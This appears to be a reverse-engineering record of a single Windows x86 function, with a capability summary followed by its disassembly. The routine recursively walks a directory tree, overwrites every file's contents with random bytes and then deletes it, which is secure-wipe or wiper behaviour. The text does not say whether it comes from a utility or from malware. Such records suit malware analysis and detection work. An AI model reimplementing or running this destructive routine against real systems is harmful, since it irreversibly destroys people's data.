Function at 0x100081f0
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Generate random numbers via winapi
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x89c
mov eax, dword [0x10060080]
xor eax, esp
mov dword [esp + 0x898], eax
push ebx
push esi
push edi
push 0x20a
lea eax, [esp + 0x694]
mov ebx, ecx
push 0
push eax
mov dword [esp + 0x18], ebx
call fcn.1002b190
push ebx
lea eax, [esp + 0x6a0]
push 0x105
push eax
call fcn.1002f27b
push 0x10058e10
lea eax, [esp + 0x6ac]
push 0x105
push eax
call fcn.1002f2df
add esp, 0x24
test eax, eax
je 0x10008272
mov eax, 0xfffffffd
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x898]
xor ecx, esp
call fcn.10029203
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x694]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
jne 0x100082a5
or eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x898]
xor ecx, esp
call fcn.10029203
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x100084eb
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test byte [esp + 0x20], 0x10
je 0x1000834d
lea eax, [esp + 0x4c]
push 0x10058e18
push eax
call fcn.1002a92e
add esp, 8
test eax, eax
jne 0x100084d4
push 0x105
push eax
lea eax, [esp + 0x278]
push eax
call fcn.1002b190
push ebx
lea eax, [esp + 0x280]
push 0x105
push eax
call fcn.1002f27b
push 0x10058e20
lea eax, [esp + 0x28c]
push 0x105
push eax
call fcn.1002f2df
lea eax, [esp + 0x70]
push eax
lea eax, [esp + 0x298]
push 0x105
push eax
call fcn.1002f2df
add esp, 0x30
lea ecx, [esp + 0x270]
call fcn.100081f0
jmp 0x100084d4
push ebx
lea eax, [esp + 0x484]
push 0x105
push eax
call fcn.1002f27b
push 0x10058e20
lea eax, [esp + 0x490]
push 0x105
push eax
call fcn.1002f2df
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x49c]
push 0x105
push eax
call fcn.1002f2df
add esp, 0x24
lea eax, [esp + 0x480]
push 0
push 0x80
push 3
push 0
push 7
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100084d0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x100084cd
push 0x400
call fcn.1002f270
mov esi, eax
add esp, 4
test esi, esi
je 0x100084cd
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x100084c4
push esi
push 0x400
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x1000842b
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x100084c4
xor edi, edi
mov dword [esp + 0x1c], 0
cmp dword [esp + 0x10], edi
jbe 0x10008476
nop dword [eax + eax]
push 0
lea eax, [esp + 0x20]
push eax
push 0x400
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100084be
add edi, dword [esp + 0x1c]
push esi
push 0x400
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x100084a4
cmp edi, dword [esp + 0x10]
jb 0x10008440
push 0
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call edi
push esi
call fcn.1002f260
add esp, 4
lea eax, [esp + 0x480]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x100084d0
push 0
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push esi
call fcn.1002f260
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100084ca
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.1002f260
add esp, 4
push ebx
call edi
mov ebx, dword [esp + 0xc]
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x100082c0
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x8a4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10029203
mov esp, ebp
pop ebp
ret